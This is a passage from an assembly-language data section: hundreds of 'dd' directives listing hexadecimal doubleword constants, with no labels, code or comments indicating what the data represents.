262E0344h, 422C20D7h, 0E89CA36Dh, 1802E246h, 15AB6F5Dh dd 811CE447h, 0F99B5D00h, 0C706B07h, 0B261BF43h, 3F09DB58h dd 81C124B7h, 0E18DE3D4h, 0F1C88850h, 0DC9C0B0Fh, 0DC022CA1h dd 0C10068A0h, 0C19835BCh, 0B4B81240h, 6B3474BBh, 657DAF3Ah dd 8C308540h, 1217B81Eh, 9034DAC6h, 591C8228h, 207F6E04h dd 0AC901188h, 1D8019FBh, 83AD756Dh, 1F624567h, 5FCD9398h dd 5BDB010Eh, 0D2B2035Eh, 63E10F2Ah, 0A237278h, 0C6C2AFDAh dd 1912C064h, 10403BB3h, 6AE5403Ch, 0A711C031h, 77BCF065h dd 94182301h, 29A402DCh, 84015078h, 2134D739h, 9D90583Eh dd 26401121h, 57467498h, 62333100h, 0AAD76815h, 240A1B16h dd 0E202A00Fh, 0FD2DD9Dh, 396F983Fh, 1F1D37EBh, 86542780h dd 0B50CC1ACh, 0C43671BAh, 19016002h, 1A31068Bh, 168D210h dd 374B7201h, 0D95181Eh, 38506871h, 80A2B9A4h, 0DE0E72AAh dd 0CAC90h, 0C35A755Eh, 0FDFE0025h, 3ACB944Fh, 4716A78Eh dd 0AC425316h, 824B88C0h, 42051C98h, 6AECC1E4h, 852CDB18h dd 90234358h, 0B1404411h, 70045885h, 14F74BC3h, 22F69BB8h dd 51839200h, 9528F431h, 6041F259h, 23FC78F7h, 9404F008h dd 2DBF85C5h, 33EC9492h, 0AB615D98h, 91FF0521h, 1A007119h dd 0B0FD465Dh, 67DEE75h, 0AFB8022Fh, 6917A158h, 0CC93B391h dd 8A394C33h, 0B9021D38h, 7D3CF752h, 0A2F19AC0h, 8F87F5Ch dd 0F2DA4A5h, 52729F69h, 236C3A80h, 3C2C03B3h, 18D10CFh dd 499DAEB0h, 721820C8h, 0F4E83D29h, 82D8B0Bh, 0DC84ECDFh dd 76409939h, 58E1D028h, 0D95A8830h, 5C1EAF4Dh, 0A4005729h dd 0F66DB1DEh, 6B00956Eh, 0CB3618D5h, 0C35B89FEh, 0F4580131h dd 6F98FC83h, 0AF2606E7h, 390070A4h, 0F55BF047h, 7C624C60h dd 69766801h, 89586103h, 8223A708h, 0E0C35B7Ch, 1DE337ECh dd 833C06DFh, 46098F76h, 0BCE0D05Ch, 35008CAFh, 6C1A2B20h dd 0F9E8CC93h, 6D165462h, 0AF604E39h, 790B1368h, 11C89D62h dd 610587ACh, 80AE52E4h, 0DF9C8C04h, 81E10D09h, 0ACDC8271h dd 46305215h, 16F0264h, 315E8B1Ch, 77DF1027h, 46FA0001h dd 0F34FD6BBh, 48099963h, 1D34514Dh, 835711A8h, 8B3DD1h dd 9B951CC8h, 1BAEFFAh, 63EC3Ch, 0EBFF09EAh, 0F0803Eh dd 0A3A96AE3h, 0C8578A17h, 0AE60E600h, 4439B373h, 82CF3B34h dd 0ED921101h, 381F89B0h, 48A09040h, 48CC31F4h, 64C6A966h dd 28F7944h, 3DED51AEh, 0C8018FEh, 5EB02E2h, 62822B10h dd 4050C50Bh, 32B47411h, 3029F270h, 961747E1h, 0A509E8AFh dd 0A4D8A2D3h, 25D054D0h, 57913897h, 81A2EE83h, 4BEFDAC0h dd 0DC439901h, 6FDB1609h, 0B7D3B082h, 0B443B99Dh, 0FCC1C824h dd 91E017A5h, 0D0078027h, 94429D91h, 1B42180h, 0DDD2063Ah dd 0C825E769h, 11301751h, 2D3980ABh, 6E38FCh, 0C08FC5D7h dd 0DE51CD60h, 9135D027h, 0AED01328h, 0AEC0AA3h, 868CE2CFh dd 51B29469h, 4AC0B825h, 3BA8605Ch, 840E0640h, 31E3C938h dd 0C6608850h, 0D48DDC03h, 30D283h, 6B29C069h, 0D90DF6C3h dd 0B00FDE4h, 4060DF0Fh, 30DA978Dh, 0AE412C89h, 443DF061h dd 0C32E8014h, 9EFF7520h, 78A7F48h, 5B77C7BFh, 0B252F419h dd 30ACE218h, 0D079FCFh, 0D552CD3Bh, 0E25811A9h, 0EAE8F0D0h dd 0E93226A3h, 0CD8549B4h, 0EF8D0F7h, 353E8B65h, 3444CEB7h dd 110015D5h, 0BAC1F810h, 1E93B13h, 5488B505h, 97079C47h dd 11637941h, 4CB17CDBh, 0DF18985Fh, 7D7E112Eh, 9FF3A300h dd 597AAA89h, 0C0475C93h, 0E4C07858h, 0ADE2B060h, 7CDCC124h dd 0E5001464h, 1EC73E61h, 17688F5Ch, 0C8209E69h, 9AA2BAB8h dd 0A4F07ED8h, 2F8600F0h, 0D7AE513Bh, 781F4FE2h, 8A040B62h dd 0CC88D132h, 5FC21695h, 0E44C018h, 0A105FC9Ch, 0AAB9ECC3h dd 0A0E3500Ah, 0C5DF4604h, 36E940A1h, 3F2C50E6h, 0BC807BBBh dd 0C7157F59h, 1960EF32h, 0B493B261h, 0C82E604Ch, 29D98F43h dd 8B84E0DCh, 40A41ABCh, 20334A5Dh, 0AEFF9660h, 0C49CA42Ah dd 0F8F59403h, 0E098DAECh, 4C47D1C4h, 4624D436h, 1A4674D4h dd 0EAD69400h, 4305E191h, 707FCD0Fh, 3A0B20B3h, 41468B40h dd 386CEED4h, 6285E102h, 19A6C0E3h, 0E9111053h, 4F3D0085h dd 0CB441A3Eh, 22CC796h, 81402CC4h, 23F4375h, 6601BBABh dd 0C844899Eh, 2B76BA0Eh, 51105A94h, 18B579CCh, 2DC828A0h dd 63F912E4h, 0B6C045Fh, 0F7C00040h, 3C32B8F3h, 0FC4D1CD4h dd 66210C00h, 6CC489B2h, 0B420BCB1h, 3C2E0F4Fh, 18002C23h dd 363CADE3h, 2D955C89h, 41ECA904h, 8DB0C891h, 2B4ABF42h dd 1B2388h, 19F2F927h, 0F101EF5Ah, 0E8DB3BB9h, 14A87995h dd 30E4982Ch, 2B70871Dh, 0A0B640B1h, 9B54676h, 2EDD6EBh dd 0F4311CCh, 89E93D84h, 313CEC70h, 6788A1C4h, 8C7E0490h dd 240E0183h, 1DF7FE0Dh, 7BC6EC5Bh, 8837210Ch, 0A92963h dd 1AFA2261h, 0FC7C0632h, 8165193Dh, 2068E681h, 4920960Eh dd 5D901B5h, 46B6C023h, 0E044EA3Dh, 0B02F8F01h, 235AB3F1h dd 3C5BE0ECh, 6A0172A9h, 9DD7B20Ah, 49D1FCB1h, 0DC398624h dd 7046B016h, 896E8Bh, 0C53846C1h, 0D36DAC84h, 149CE77Ah dd 59E29505h, 528860CEh, 7E2D80CFh, 972162Eh, 94BF3DE6h dd 0C465E0C1h, 78F5B5B8h, 0C0698824h, 0E35F85E4h, 0E0ECE858h dd 385EC2Ah, 568002EFh, 0FFC814C4h, 8D00B588h, 6CE5170Eh dd 0A955B3D1h, 0F31069CCh, 0CE5C0185h, 5A420491h, 20F004D0h dd 602F221h, 88F29476h, 285A312Fh, 2423982Fh, 0E90B033Fh dd 80CFFEC1h, 0C025D13Dh, 551FB221h, 11C02F83h, 0A5960AADh dd 7F770056h, 0EA63DDE0h, 0F501CBFCh, 0B3CD255Dh, 8BCC78DBh dd 0E4FD69B4h, 549C0087h, 0A4920141h, 0AC46F5BCh, 3D6B09D0h dd 64D8F7D4h, 1A7964B9h, 0C7005C18h, 9228F9DDh, 7E69D282h dd 760D019Fh, 0ACA49441h, 107082F6h, 0F2BD87B2h, 4300962Ch dd 70F84BC7h, 69025B7Ah, 0C49B6190h, 84CAE0A0h, 66E71E99h dd 5A04B8B9h, 0D498BCC1h, 0B5848090h, 30BE11D4h, 747C16F4h dd 0D03013CBh, 0A1D02FFCh, 10ACE600h, 5E7DB009h, 48103F1h dd 0A4A8D7C5h, 0B301B7DAh, 0E9F4C287h, 147B4F17h, 822498E8h dd 52E505A8h, 0C1389B37h, 89EA21C4h, 0C5309160h, 2EF4158h dd 3B2D8B7Ch, 0C300E870h, 1C20178Eh, 2C58E24Ch, 67D8EC3Dh dd 0C827DBFFh, 0A96DC2AEh, 0E9849109h, 5D0B1918h, 65FDAB68h dd 16A8018h, 0D99D495Dh, 2B218803h, 0A880850Eh, 0E43720BFh dd 0B9FF17BBh, 81F088BDh, 0B4A8C0Bh, 0BF3880E3h, 9D0B9D3h dd 586148E2h, 5E38508Ah, 0E4002446h, 0B0BA9C56h, 98B315DDh dd 0CB778400h, 0B3BCFFAh, 218748D8h, 0F66F90A4h, 0B8F6E014h dd 1E5B01Dh, 3B8489ADh, 36F17CCFh, 1A897A4Ch, 0B424B4E9h dd 134707FAh, 0E78EA018h, 0D62A33F2h, 11A90BB0h, 4A02D5B8h dd 77D3D9CEh, 8CE6Ah, 6BF6A471h, 2893821Dh, 8EBBE01h, 8076035Eh dd 0E9072464h dd 0E2ACC110h, 0DF436005h, 0F01EBDD5h, 288B750Ah, 6C337201h dd 583082A8h, 0F610211h, 686EEA34h, 0BCF04442h, 0AF7920B1h dd 941EA918h, 314E9303h, 6521A991h, 60A1E454h, 0B3775B6h dd 1A897E91h, 0B1F36400h, 2C9EED1Bh, 0C0E11363h, 25A5E8B0h dd 7C24E6E9h, 1140A8C1h, 7E071688h, 0C9F52AE9h, 5F3D1200h dd 0E3786C18h, 0A401A54Fh, 0B699A968h, 28ACDC39h, 0AF69FF00h dd 975F431Ah, 39C6002Bh, 0B9E642EEh, 0A498186Ch, 62027746h dd 768B1301h, 0DC126C47h, 8626AF00h, 1DA7543h, 73A9488Fh dd 3332EC15h, 0FC9502D0h, 0C7133888h, 6344C484h, 402FE74Eh dd 33FE7503h, 0B06898CFh, 64BEE4h, 0C4B8B90Ah, 8F093B32h dd 40185E3Fh, 2A974370h, 10BC308Dh, 1488E1C4h, 74C43BE5h dd 650211CBh, 6753C498h, 0C29DAE2Fh, 0F22A7DE1h, 0F54B00CCh dd 0D53458BAh, 0D018E86h, 9DB38471h, 31D02716h, 26CC32BFh dd 285A19C0h, 1CBAD620h, 11FC93h, 69208C56h, 4C924F9Eh dd 31BB7000h, 13DC8F7Fh, 79C62559h, 94433404h, 298F80ACh dd 0B09441C4h, 0B04676h, 4AF8CBB2h, 0B4AB3D95h, 902314D4h dd 0E7097623h, 0B0500585h, 21589062h, 0D485EF2Fh, 0B828BBADh dd 2290978Bh, 0BF44C480h, 48F48026h, 0AB58EB1Eh, 128CD2A1h dd 8BC84173h, 0C71BC8CCh, 30C11766h, 9C0ED10Ch, 64A82707h dd 0CB7215AAh, 8014D0BCh, 0DF0609Fh, 47832D94h, 803561E0h dd 0A7BD0FB9h, 986659h, 0E8D5223Eh, 0DFC002B1h, 0FB63801h dd 13DE2C85h, 51DE9821h, 60DC73F0h, 17D3463Ah, 2789B227h dd 0A2A1E0DCh, 0D900DE2Eh, 820E75CAh, 0FC1394B5h, 5C04A16h dd 0F4C40D68h, 3A0EB270h, 0E5E9AFEFh, 0D4415723h, 0CE0585E3h dd 0B73CB440h, 877092F9h, 85B14FE0h, 8E055E04h, 0E8C889B0h dd 0DACA1EB8h, 80FDDED0h, 5642052Ch, 0D300235Ch, 0A6F641Eh dd 27BCA7F4h, 0B021AB87h, 0F468E20Bh, 7C0E82B2h, 0C0840FB0h dd 0A5A74890h, 0CC3A97D1h, 71C2A840h, 0DE2E94E0h, 0B8A00862h dd 1701EF46h, 0DAB6E5Dh, 88240CFFh, 5D001F74h, 0A7DABE7Eh dd 9E74097h, 44C7059Dh, 0A2D1E051h, 0D005518h, 0C08C9189h dd 2767EB0Bh, 9C81DB33h, 4813E93Dh, 0F2063B94h, 37DF0366h dd 514E0091h, 0D0A177Fh, 3F5D2BF8h, 87473CE0h, 0C6058649h dd 0A05BF430h, 64624CF1h, 945C00D6h, 15AF7983h, 0A7F03654h dd 84C44Dh, 0C6CF5CE5h, 95ABA1BCh, 0AC568004h, 1A457224h dd 0B4605DD9h, 849116A9h, 3EA880EAh, 760123AFh, 6D792BB6h dd 1C58586Bh, 81B8805Bh, 0E74110C0h, 0A04971A5h, 25F6C8A4h dd 84E5DA12h, 0BA60AEE4h, 0B7138D5Ch, 0F401EF7Ch, 1D7051C5h dd 18F8A040h, 1D9DDBh, 94805891h, 0C9CD23FFh, 0B5ADE308h dd 40651EC8h, 0A96F5CBFh, 0A54E5DC4h, 600DDC02h, 6A4414Bh dd 53ACC20h, 6CFC2AA6h, 75B00762h, 19A54120h, 6A488925h dd 3F6C0159h, 5C24A2B7h, 9B5D03D0h, 0A0B1D4A8h, 82355813h dd 85C090B7h, 7565B003h, 76CF0F00h, 0BAB8070Bh, 0B1F87Ah dd 0BE461F5Dh, 0D0501C5Eh, 2C587471h, 0E4730018h, 61748D2h dd 16FCEFh, 4066BC0Fh, 76BAB5F0h, 6D01E8B3h, 6E8B1201h dd 0DD882818h, 24010075h, 0DCAB6022h, 3604445Dh, 0FFA956Eh dd 1AE244A2h, 259CD730h, 9476956Ch, 95D04225h, 0C4531050h dd 32012901h, 3C1CD4B7h, 87A509DCh, 0C53C3053h, 2F9C30CCh dd 0BFCE5020h, 7A1D7114h, 4FC8E120h, 0A7103318h, 88261B78h dd 6F994074h, 2500A239h, 1FB576E8h, 0A86696h, 0F04101E6h dd 0C36DB91Dh, 0EE3BBA0Ah, 50249416h, 72F4674h, 0B6C9FE5h dd 7DE8C2B0h, 129698F9h, 0E22B2997h, 4D0CC058h, 9ACAB0Ah dd 0DF074A77h, 0EC003872h, 15B4B540h, 0FC3CB042h, 20934C18h dd 0C0B83805h, 8874CE62h, 803CC444h, 83AFC36Ch, 0F888424Bh dd 51EC17A9h, 1D9CB787h, 0C884B93Dh, 0BCE488F1h, 0F8260048h dd 4F404380h, 8C991F02h, 0F91A6D80h, 0C75D91h, 2F1D1EB9h dd 0B815A2C3h, 6103277Fh, 5E738885h, 0EA588808h, 0D02B5E8Ch dd 9C42C97Ch, 382FBA02h, 48BE34DEh, 123DDACh, 88793EFh dd 0E03E4BC1h, 6E1552D2h, 58C165Eh, 37817CA5h, 58F284B2h dd 918830h, 1D15C6D7h, 0EB62EA95h, 1904662Eh, 0E9DF060Bh dd 447C9D58h, 61E50B02h, 44BA977h, 0BA8B80A0h, 586EC305h dd 4CF47F87h, 0E0B44818h, 8C1ABCh, 1DF8854Dh, 1EF593FDh dd 4676C4BEh, 6ECB26AFh, 22D3009h, 41F214A0h, 0E470E540h dd 8464BC2Ch, 96299DE8h, 6F1728E0h, 383BB64Ah, 0C0F4423h dd 0FC4625E2h, 0A4009852h, 6E24FF16h, 19FA1D9Dh, 0E9B809E3h dd 194E003h, 82B930B1h, 53114DB8h, 7968D115h, 1E6B181Bh dd 0B976C1D5h, 0FAFE0C82h, 98769DE6h, 0A966DD60h, 432A2279h dd 0F1096D00h, 0B90A69A7h, 5FB0384Dh, 81619531h, 8A8E44Eh dd 58C83C4Ch, 9213868h, 8ED0B9ECh, 420733Ch, 38EB2D7Ah dd 0FFBDD9DDh, 0E69BC982h, 844235Bh, 0C12D88B0h, 183759h dd 0B9E07B10h, 9B8A51AFh, 54F3C8CCh, 89AE0106h, 0F1ADE89Bh dd 2738393Dh, 2F04661h, 6253ABC3h, 0F84C2522h, 465E549Ch dd 3D680B24h, 9398B1E2h, 0F539E940h, 6CCB044Bh, 0E9B6810Dh dd 3947AC24h, 5A82EA62h, 5CE0C58Bh, 0E420E509h, 0BD82601Ah dd 0B12B2432h, 8ECD8090h, 17D4587Eh, 90B6C10Bh, 24512Ah dd 3CD9D6E1h, 0A03DB793h, 0B9D5036Fh, 0C93E1720h, 34601DA8h dd 984B48BFh, 2215A41Eh, 57714091h, 59037A18h, 91FFBED9h dd 0DC91C7CAh, 0A98EAA29h, 37A39921h, 6DA8A39Eh, 9103800Eh dd 51955802h, 7098B4FDh, 0F184B0EDh, 8007C6Ch, 0AC87F29Ah dd 0D5049691h, 0D1D39219h, 58F2E0E2h, 23EA530h, 69659E4Dh dd 6876C981h, 9301B860h, 48289114h, 18465CD4h, 9EB8D1Fh dd 1C85C754h, 0E24C9129h, 645CE533h, 0C6E213A0h, 8CC5B44Ah dd 305B3022h, 1713016Eh, 7CCB568Bh, 176D800h, 0C6BC8E5h dd 9317F3Ah, 0D855D4ABh, 6D840450h, 0ECFB8B4Dh, 2F1DCF88h dd 7844CC0Dh, 0BDAD0008h, 0EDF19251h, 183CE432h, 0D8DCD52Ah dd 0C283620h, 0EE00C25Eh, 2FEB3731h, 13F03B59h, 0F02368BCh dd 0CB0411B0h, 837690C1h, 30F028A5h, 5BE20032h, 40AD917Fh dd 7C09A6CAh, 19ECEEFh, 589B15E6h, 0C4358054h, 29F2A4B2h dd 0D1430h, 31D0A73Bh, 0FE564832h, 0E5DC189Fh, 0CB052195h dd 602F0313h, 8C094423h, 48E40273h, 0C4AB0152h, 10036E75h dd 0EE10C658h, 0E47CF518h, 1B30F6BDh, 74510511h, 0A8D5E7E1h dd 0F3AA0054h, 6A774112h, 2F0B476h, 60E43B32h, 4202387Ch dd 0C726A356h, 60AE44B0h, 93F43Dh, 202BD06Eh, 0A961E090h dd 0A0F1BC13h, 2ED2ACF2h, 31B23B0h, 0F26894D2h, 0AD8002DDh dd 0C4893205h, 3CA41CF1h, 99F300DEh, 5A79C93Dh, 20043C5Dh dd 0FF742F2h, 0A880DC9Bh, 1E610D2Fh, 39E50A13h, 70488C09h dd 0E0E88DA8h, 0D229D130h, 5A81AE12h, 20811065h, 8441E151h dd 0ABFCC25Fh, 85AF13C5h, 9474019Ch, 4E341613h, 0CA5C888Ch dd 0D11B02B6h, 3AE0A0E0h, 8F7E680Dh, 9702461h, 0D1E176ABh dd 4AE072C6h, 0EB18C0A4h, 0C00A086Eh, 0D03DC29Eh, 2DC3DA7h dd 4B45A99Dh, 70467064h, 18016302h, 18F17E8Bh, 16BD360h dd 73DD00BEh, 223A99BBh, 7B5034B9h, 4524BC96h, 0B0250BAh dd 55873Eh, 0F1896923h, 8126BC98h, 35AF28ADh, 4ABD8094h dd 2CADF518h, 2085348h dd 0D8A7444Ch, 0EE2C7E27h, 0E0730E09h, 0B41658h, 25176463h dd 0D3563088h, 4069BF09h, 1FFC0036h, 0B5E9F271h, 0D2788080h dd 0B9780477h, 50E09656h, 58C1AFCh, 33E6AD5Fh, 0C31CF264h dd 0B3AD7679h, 0D8D2E8A6h, 6915149Eh, 3C072098h, 7A9066F0h dd 68C70508h, 0B468B825h, 0B6ACF4ACh, 18101D8Ch, 0ED843C3h dd 0F7F01BE8h, 2125BCAEh, 0A85CE8ACh, 0C02C5968h, 0F4008FE8h dd 0FB3D256Fh, 995C6276h, 18B0798Ch, 29FE0151h, 0B8C59402h dd 143B6F43h, 853D2723h, 0B58F4D59h, 6504FCACh, 0F9B699BCh dd 1AC5ACDCh, 0B01AF28Ah, 0D2E1F84Dh, 25E878E1h, 0E3900E24h dd 61E01C95h, 0D432C714h, 5882DD4Eh, 0C048EDB4h, 2E96DAC0h dd 3E6B9400h, 4361ECABh, 8B90B336h, 0C73027Dh, 6D0958h dd 65A8E9EDh, 4AFF838Dh, 0E73E1D0Bh, 89C8104Bh, 0A09246h dd 0D29CDE9Bh, 0EA9ABB66h, 29F6A492h, 0B54BE0F2h, 2823D02Eh dd 0DD612B00h, 3F228BC0h, 0DF1DF5BCh, 0C25601D5h, 0E4857306h dd 0B0E8AB9Ch, 3E4C440Eh, 1A1520F3h, 3A2E0895h, 0C77F9442h dd 0F036D721h, 4BEE6FACh, 76F5A31Bh, 868FC818h, 2DDC0053h dd 3948EB7Bh, 1201BE02h, 4FEBC85h, 28BCABADh, 670CC600h dd 396C4D1Bh, 0AFF2700h, 573310EEh, 0B67813EFh, 0C885071Ah dd 64784C07h, 7FCACE00h, 0B461E8B9h, 8D866C1h, 0B038502Fh dd 72CA80C6h, 0FAB231CDh, 0DA8C006Ah, 0B66F8A28h, 0C918424Bh dd 9081B3ADh, 396B0EEDh, 81611E29h, 0D138C631h, 752180BCh dd 53D46BF5h, 40E2EDE4h, 1C271961h, 0C009BFD9h, 0A96328Bh dd 721528F2h, 80A08085h, 15ECF33Dh, 22944342h, 35FA84h dd 0CBD4B8F3h, 651BEEACh, 6DC1DF00h, 3684DC27h, 0B330114h dd 8CB67B4Ch, 60612013h, 63879A24h, 2C280A00h, 0A08D15AFh dd 0B1277E0h, 14EB89EDh, 389D8606h, 0F883BF3Ah, 31A0316Eh dd 0EDF34080h, 0F0AC2A15h, 0D98A44h, 4118F338h, 4BFF1B14h dd 29B950C1h, 0F89DB5D1h, 46D0E812h, 0CA3E7F38h, 1180A37Ah dd 0C9C5002Dh, 0F929EBCAh, 0BA25011Dh, 0F232A582h, 392AE415h dd 6CA3E0C5h, 9123A83Ah, 95DEC800h, 1D9FF2Fh, 3DB7F676h dd 8233AEE0h, 79AF2958h, 1498805Ch, 3085F696h, 0D8106D7Dh dd 2B301B12h, 771CE833h, 6AE40049h, 8F74E376h, 941D522Dh dd 4DCA1D83h, 46567C20h, 0ED30003Bh, 0C357DB37h, 998D0256h dd 0A0AD2993h, 3B14A880h, 80C0894Fh, 5F5119BDh, 2BB4A037h dd 188F609Bh, 0B1345C93h, 8BF4FB12h, 7F65B840h, 314CF47h dd 0C98265Eh, 83A32876h, 87462100h, 324E4847h, 0B96701DAh dd 6D19BB45h, 337885C4h, 2820F1B1h, 23C54779h, 71116E14h dd 47814C00h, 431D94E3h, 4983260h, 50F2D116h, 0E4AFB45Dh dd 2DCCA896h, 0A6900C8h, 422B4E6Bh, 0CB09C13h, 0C484F92Ah dd 0B4AF863Ah, 0B8003198h, 115C6D9h, 9B0702D7h, 0C7424A87h dd 0F304DC4Ch, 0E293F6Bh, 7720C762h, 56BFBh, 27E00B93h dd 0B4822C1Bh, 20433736h, 1DDA4650h, 29846BEAh, 0C43238F6h dd 6BF27220h, 0A8C97F76h, 0FBF9E8h, 98EF7D9Fh, 0CCF30957h dd 884A7200h, 6F48F42Ah, 0A2F010Ch, 0E86A19BFh, 0F5B45235h dd 5E82DF32h, 0B4B14E14h, 85481079h, 0DA580147h, 2A9F2417h dd 12BAC873h, 76F4EA1Dh, 98B9D702h, 11689761h, 999680BCh dd 0F768F14h, 0FFD21CB9h, 60DCC2CAh, 0DEF0F2AFh, 0BD842F3Fh dd 0B5DF057Ah, 1895666Dh, 8207D06Eh, 90FD6ECBh, 0F9B7FAE9h dd 283FBA73h, 587AB0BFh, 51E2D8AEh, 848DFC08h, 2271CD3Ah dd 3392F260h, 0D8613CC8h, 0FC48D600h, 0E3961007h, 35E53FD2h dd 0DD224300h, 9F4A273Bh, 0C1565C00h, 0D378445Dh, 0FA1A0074h dd 2B358D60h, 0D741B92h, 784DBF24h, 1C25F400h, 789F43AAh dd 4600B214h, 0F3097E82h, 9C3215EAh, 0EA98B0h, 0CD81CF3h dd 9382D0E4h, 9127372h, 0CC14A9A5h, 62AE0B5Ch, 67041A0Dh dd 67304488h, 3A9F3DF0h, 0D993008Bh, 3127DCCCh, 68D6B84Dh dd 35139E06h, 0C8F76460h, 0F3426083h, 3A1514EFh, 0EBB3B494h dd 28B3F3E3h, 728B9CC8h, 5E628700h, 1D1E2E5Fh, 2B5803EFh dd 94822D80h, 659AA093h, 183BA061h, 7BCA1EC2h, 3511A3B9h dd 0CADB020Fh, 0D16FE6C0h, 349854C6h, 9D72B09h, 78100983h dd 0D270A0FBh, 8F2E00C9h, 0D64659E1h, 3463C6CAh, 0F0B8A849h dd 398A934Eh, 2085740Ah, 0C018D35Ch, 21EE73DBh, 13A3011Fh dd 0A0CF6070h, 0F9168080h, 144C9A49h, 239474DFh, 0F33F0086h dd 951215EEh, 0D6608091h, 97F337h, 680927FEh, 6967178Bh dd 4CD42D02h, 61736B6Dh, 22CAB98Ch, 50CCF7B5h, 0F4462090h dd 0C4477804h, 8B1CC414h, 804500FCh, 0F3B8F247h, 0C5841EADh dd 88148D55h, 0C7306021h, 19B9FCA8h, 8B38924h, 0F7402D1Fh dd 5631910Bh, 705A0538h, 8B33C8B1h, 0C082C83Ch, 0E72A3DE6h dd 56906302h, 53916453h, 719CA93Ch, 38C1887h, 0B593792Ch dd 48297E31h, 18A6DC22h, 1CBB4674h, 830098F5h, 0DBFED979h dd 7D320A27h, 2CF8B13Ch, 8A467448h, 27AA4F01h, 41BB741Ah dd 229107B8h, 93C23E4h, 0C584CAC5h, 0C06CA2E0h, 0AFCADE01h dd 2B480302h, 0B34D1E46h, 0D864C1C2h, 97083516h, 6C609856h dd 599DFDCh, 492144BFh, 8872C048h, 54C52BAh, 0D35E045Ch dd 70800302h, 969A2F1Ah, 845520Ch, 146191C4h, 0ECE9D0CAh dd 59FBF700h, 31BF2DFFh, 2C340237h, 952DBB0h, 852CF451h dd 81D54130h, 5B4005Ch, 238ACB4Bh, 7CB99B0Ah, 4CC0F210h dd 0A3E5BF0Dh, 939E1606h, 806ABh, 8F824338h, 50BF156Ah dd 0B4E84400h, 20A102D1h, 0C5A41C69h, 493AC0B0h, 53501AAFh dd 0EE91901Fh, 1877700Ch, 0FC14184Bh, 554AC8B9h, 0FB77C00h dd 0A2F7E479h, 83010391h, 351E6450h, 2F36AF8h, 48330430h dd 304B4382h, 4C892A37h, 0E80ABF10h, 549DEEA3h, 6D073D91h dd 4092BF18h, 0B01A8BF7h, 0A2733503h, 9181DD2Eh, 28834404h dd 4C58232Ch, 0CC4DBAF1h, 3D66C230h, 215608h, 0CB4C5005h dd 835FF389h, 406444A5h, 3C054860h, 0D77851C0h, 60FDF0h dd 9BE7AD5Fh, 0B5A1866Ah, 947A7028h, 0BF8E5800h, 2E9D8D61h dd 2FC3DBAh, 7A1698D0h, 18B060A8h, 44BEFD89h, 25CC80h dd 63B7C9B8h, 0ABFA83F9h, 689E4600h, 3782C214h, 7791C02Eh dd 86FEC9C3h, 0FD7F2805h, 0B428112Ah, 8A78C50h, 9C803491h dd 8183FC13h, 0E9570330h, 7A7163h, 90E32852h, 65C0A993h dd 0EDE2F009h, 0D73600E7h, 0BE80B0h, 569582FCh, 162CB57Ch dd 6045EA4Ch, 84776F60h, 0C89F455h, 710E7E27h, 21C0A408h dd 0E9847FD2h, 3B3D04C0h, 0C0589E6Eh, 128D5F11h, 29C094F8h dd 7E4C90D6h, 987B00C1h, 89272469h, 0B014145Ah, 58A8B261h dd 64120A90h, 0A1028420h, 809B6CADh, 0A40207C8h, 0A718C047h dd 40579FC5h, 4E0001F8h, 0E46B9880h, 22BE37Ch, 618FA178h dd 49C03116h, 4F60B412h, 88C5A338h, 0F350C392h, 2295EC22h dd 0A3051B8h, 0A3E608BFh, 6B589DFEh, 0DDBF0012h, 0B478A515h dd 0BB01C28Eh, 0D9BC36CEh, 0A8402101h, 8955E4A1h, 8711814h dd 79165784h, 0CC4FA6C4h, 7F388480h, 8EE4A0B5h, 8CCDA30Ch dd 60E9B8A9h, 4B092997h, 0A600A474h, 0DFD0D22Bh, 0E8F9BC8Ch dd 8A5A107Ah, 33B6008Fh, 7C571B7h, 830F0567h, 200B727Eh dd 7A8F6890h, 317F5B30h, 1E9E5A2h, 50E3090Ch, 98D30147h dd 40219808h, 49E907DDh dd 903D6F23h, 46054F18h, 8B8240h, 76CB732Bh, 74ABB162h dd 0C2FAC57Fh, 209ECF00h, 261C53E2h, 517E60C6h, 131B145Ch dd 0A8E0F27h, 700E04FAh, 2924690Dh, 811C07B8h, 80E191C8h dd 0BA774C54h, 4A448C6Dh, 0F6C4FF09h, 0B040033h, 12A990FDh dd 0FCA01F24h, 4828C5EDh, 8360ACA3h, 0D8146291h, 7090677Dh dd 6D5E03E9h, 0C0486190h, 2CBA44A0h, 50436628h, 11A34521h dd 4C5580E2h, 8C65BA78h, 64F44h, 9EDC4C4Dh, 0B1BF915Ah dd 75E7501Dh, 6C91E0FFh, 220164h, 71CF36F8h, 3F1E0EDDh dd 4F726317h, 28BE3A00h, 6A9A14BAh, 8A89036h, 7C3F9621h dd 0A9F1C730h, 1205426Ah, 4D45E40Ah, 4144B5A4h, 247D39A4h dd 0D1043C2Ch, 2D07AF5Bh, 83217890h, 0EA8C286Eh, 581448ACh dd 4DC860Ch, 0C0C2C21h, 113E4C01h, 9E0E1DA3h, 3B9C249Fh dd 79AB7180h, 0F35560E1h, 0A8A22F24h, 4631589h, 0EA607F40h dd 9230DE9h, 8B11BBh, 0C3E9E23Dh, 1FA59EB8h, 0A86DE0C2h dd 5318EBBCh, 0BA764C08h, 4E4BC475h, 4600B308h, 74F372CCh dd 36052A34h, 0C024E8A0h, 451BE3C9h, 701A776h, 0BDCEB606h dd 0EC24A234h, 6AA8161Ah, 0AB6800D7h, 0CB4EF4ACh, 412AE1Dh dd 4100B068h, 2B36C180h, 5F7B32h, 93BAC3E5h, 1AEBF663h dd 0CA2FE018h, 0E804BE40h, 7458CCF8h, 9205E828h, 6606A719h dd 3F88788Eh, 0BC9CFDC0h, 5BF2320Ch, 5D2E81D9h, 80284C14h dd 0A3E9BF11h, 6E0087F6h, 45E7BF19h, 0C484545Ah, 0F6141C92h dd 428FBDB1h, 0EAAF1367h, 8BEDDD60h, 4C52FA6Bh, 3034E25Ch dd 490FFC09h, 62A24590h, 2C92E9h, 0E5DC5241h, 0ADA9B70Bh dd 8074AF10h, 34C423C2h, 0E83E616Bh, 9F4AA08Fh, 3AC6A12Ch dd 0A0403107h, 829FD5D4h, 0C6C18C82h, 0FA4878C0h, 0C5A0B03h dd 98B8DD8h, 0A06E4320h, 7820A608h, 908CC1A0h, 21846F4h dd 16538475h, 10A53199h, 847DD0h, 3D9248E1h, 6A39BD0Bh dd 3AFF609h, 4954203Bh, 2E7B769h, 0F2218519h, 0C0A08759h dd 9E3D64F0h, 0FE08CC00h, 49A3A278h, 4F060AE2h, 314C326h dd 42A89862h, 0F8BC5107h, 0C0436CAEh, 18D96934h, 8B587400h dd 127804C8h, 0EC8C2159h, 0B06E3FC7h, 0BC8EF383h, 0B1A0DFF7h dd 751D9937h, 0D5845213h, 3885B8C1h, 